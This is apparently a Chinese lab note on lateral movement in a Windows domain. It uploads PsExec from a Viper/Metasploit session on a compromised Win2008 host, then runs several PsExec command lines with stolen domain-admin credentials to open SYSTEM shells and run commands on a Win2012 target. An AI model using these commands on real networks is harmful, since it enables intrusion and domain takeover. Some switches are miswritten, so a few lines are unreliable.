psexec工具明文和hash横向移动

实验前提：知到Win2012的域管账号和密码

实验设备：Win2008，Win2012

1.在用Viper连接Win2008本地Administrator用户

2.开启msfconsole，上传psexec.exe和psexecx_64.exe到Win2008上

3.在msfconsole界面输入psexec \192.168.10.10 -U Administrator -p P@ssw0rd -w c:\cmd

psexec \192.168.10.10 -U Administrator -p P@ssw0rd -w c:\cmd //进⼊交互式shell，且c:\是⽬标机器的⼯作⽬录，Win2012的账号和密码 psexec.exe -accepteula \\192.168.10.10 -s cmd.exe 返回交互shell（必须是msf或者远程到桌面CS不行） psexec.exe -accepteula \\192.168.10.10 -s ipconfig 远程执行命令 psexec \\ip -u administrator -p admin cmd 进⼊半交互式shell PsExec -accepteula \\192.168.10.10 -s cmd.exe 建立交互的

4.目标机Win2012上线